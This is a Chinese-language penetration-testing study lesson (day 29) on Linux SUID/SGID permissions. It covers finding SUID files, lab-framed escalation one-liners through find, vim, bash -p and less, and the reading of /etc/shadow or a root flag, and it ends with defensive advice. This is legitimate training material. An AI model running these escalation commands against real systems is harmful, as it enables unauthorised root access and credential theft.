自学渗透测试第29天(Linux SUID/SGID基础实验)

10.4 Linux SUID/SGID基础实验(第29天)

核心目标
  1. 深入理解SUID/SGID机制:掌握Set User ID (SUID) 和 Set Group ID (SGID) 权限位的含义、作用及安全风险。

  2. 掌握SUID/SGID文件发现方法 :熟练使用find命令在系统中定位具有SUID/SGID权限的可执行文件。

  3. 掌握SUID提权技术 :能够分析常见的SUID文件(如findvimbash等),并利用其特性完成从普通用户到root的权限提升。

模块一:SUID/SGID权限原理
1.1 权限位回顾
  • Linux文件权限由三组rwx(读、写、执行)构成,分别对应所有者所属组其他用户

  • 使用 ls -l查看时,在所有者 的执行位(x)上,如果出现s,则为SUID权限;在所属组 的执行位上出现s,则为SGID权限。

  • SUID :当用户执行此文件时,进程的有效用户ID(EUID)将设置为文件所有者的UID,而非执行者的UID。

  • SGID:对于文件,执行时进程的有效组ID(EGID)设置为文件所属组的GID;对于目录,在该目录下创建的新文件将继承目录的所属组。

1.2 风险与常见场景
  • 风险 :如果文件的所有者是root,且该文件存在漏洞或被滥用,那么普通用户执行它就可能获得root权限。

  • 合法用途passwdsudo等命令需要普通用户临时拥有root权限来修改系统文件。

  • 滥用场景 :管理员错误地将某些命令(如findvimbashcp)设置为SUID root,或第三方程序存在漏洞。

模块二:发现与枚举SUID/SGID文件
2.1 使用find命令查找
复制代码
# 查找系统中所有SUID文件
find / -type f -perm -4000 2>/dev/null
​
# 查找系统中所有SGID文件
find / -type f -perm -2000 2>/dev/null
​
# 查找同时具有SUID和SGID的文件
find / -type f -perm -6000 2>/dev/null
​
# 更详细的查找,显示文件属性
find / -type f -perm /u=s,g=s -exec ls -l {} \; 2>/dev/null
  • -perm -4000:精确匹配权限位包含SUID。

  • 2>/dev/null:将错误信息(如权限不足)重定向到空设备,使输出更清晰。

2.2 自动化枚举脚本

创建一个脚本 enum_suid.sh,用于更友好地列出SUID文件:

复制代码
#!/bin/bash
echo "[*] SUID文件查找中..."
echo "====================="
find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null | while read line
do
    echo $line
done
echo "[*] 查找完成。"
模块三:常见SUID文件利用技术
3.1 利用已知模式

参考 GTFOBins 项目,它列出了大量可用于提权的二进制文件。

  • find

    复制代码
    # 如果find有SUID权限,可以执行任意命令
    find . -exec /bin/sh \; -quit
    # 或
    touch test
    find test -exec whoami \;
  • vim/vi

    复制代码
    vim -c ':!/bin/sh'
    # 或者在vim内
    :!bash
  • bash

    复制代码
    bash -p  # -p 参数表示保留特权模式
  • less/more

    复制代码
    less /etc/passwd
    # 在less中键入
    !/bin/sh
  • cp :可以覆盖敏感文件(如/etc/passwd/etc/shadow、crontab文件),但需要配合其他条件。

3.2 利用自定义SUID文件

有时会发现一些非标准的SUID文件,需要分析其功能。

  1. 检查文件类型file /usr/local/bin/custom_suid

  2. 查看字符串strings /usr/local/bin/custom_suid

  3. 使用ltrace/strace分析

    复制代码
    ltrace /usr/local/bin/custom_suid 2>&1 | grep -i “system\|exec”
    strace /usr/local/bin/custom_suid 2>&1 | grep -i “exec”
  4. 逆向分析 :对于二进制文件,可使用objdumpradare2Ghidra进行简单分析,寻找命令执行点。

模块四:实战实验环境搭建与利用
4.1 实验环境准备
  1. 创建一个测试用户

    复制代码
    sudo useradd -m testuser
    sudo passwd testuser
  2. 故意设置一个危险的SUID文件仅在实验环境操作!):

    复制代码
    # 将 /bin/bash 复制并设置SUID
    sudo cp /bin/bash /tmp/suid_bash
    sudo chmod 4755 /tmp/suid_bash  # 设置SUID位
    # 或者设置find
    sudo chmod u+s /usr/bin/find
4.2 提权实战步骤
  1. 切换到普通用户su testuser

  2. 枚举SUID文件 :执行 find / -type f -perm -4000 2>/dev/null | grep -v "/proc\|/sys",发现可疑文件(如/tmp/suid_bash/usr/bin/find)。

  3. 尝试利用

    • 对于suid_bash/tmp/suid_bash -p,然后执行whoami,应为root

    • 对于find:使用上述find . -exec /bin/sh \; -quit命令。

  4. 获取flag :尝试读取/root/flag.txt/etc/shadow

模块五:当日达标实战任务
5.1 SUID发现与利用
  1. 在提供的实验机(或自行配置的虚拟机)上,以普通用户身份登录。

  2. 使用find命令 ,找出系统中所有非标准的SUID文件(即排除/usr/bin/passwd/usr/bin/sudo等常见系统文件),将列表保存到suid_list.txt

  3. 从列表中挑选一个可疑的二进制文件 (例如/usr/bin/find,如果它被设置了SUID),利用它来获取一个root shell。详细记录你使用的命令和步骤。

5.2 分析自定义SUID程序
  1. 假设你发现了一个陌生的SUID程序 /opt/backup_tool

  2. 请进行以下分析

  • 使用file命令确定其类型。

  • 使用strings命令查看其中是否有明显的可执行命令(如/bin/shcptar等)。

  • 尝试运行它,观察其行为。它是否需要参数?它执行了什么操作?

  • 基于以上分析,构思一种可能的提权方法。

5.3 编写自动化检测脚本
  1. 编写一个脚本 check_suid.sh,该脚本应:
  • 自动查找系统中的SUID/SGID文件。

  • 将结果与一个"已知安全SUID列表"(如/usr/bin/passwd/usr/bin/sudo)进行比较。

  • 输出那些不在已知安全列表中的SUID/SGID文件,并高亮显示。

  • 提示:可以将已知安全列表存储在一个文本文件中。

模块六:防御措施
6.1 系统管理员视角
  • 定期审计 :使用上述脚本或类似工具(如lynis)定期检查系统上的SUID/SGID文件。

  • 遵循最小权限原则:除非绝对必要,否则不要给任何文件设置SUID/SGID权限。

  • 使用其他机制:考虑使用能力(Capabilities)来替代部分SUID需求,实现更细粒度的权限控制。

6.2 渗透测试视角
  • SUID/SGID检查是本地信息枚举的规定动作,在任何获得Linux Shell的环节都应立即执行。

明日预告 :第30天将是第一阶段总结与Metasploitable3部署。我们将系统回顾前29天所学,绘制完整技能地图,并部署功能更强大、漏洞更丰富的Metasploitable3靶机,为第二阶段的漏洞利用实战做好准备。

相关推荐
JiaWen技术圈1 小时前
conntrack-tools 用法
linux·运维·服务器·安全·运维开发
IT界的老黄牛1 小时前
MySQL 磁盘告警 1.2TB:从衣柜原理到 gh-ost 卧底,一次释放 540GB 的实战复盘
运维·数据库·mysql
ZenosDoron1 小时前
Linux/Unix 系统中用于创建链接的命令ln
linux·运维·unix
勤劳的进取家1 小时前
传输层基础
运维·开发语言·学习·php
IDO读书1 小时前
CentOS 7 安装 xampp-linux-1.8.1.tar.gz 详细步骤(解压、启动、验证)
linux
wuminyu1 小时前
专家视角看Lambda表达式的原理解析
java·linux·c语言·jvm·c++
搬码后生仔1 小时前
【navicat不安装sql server直接远程连接服务器数据库】
运维·服务器·数据库
tingting01191 小时前
dns域名信息收集
linux·服务器·前端
JiaWen技术圈2 小时前
nf_tables 架构深度详解(内核级完整架构)
linux·服务器·安全·运维开发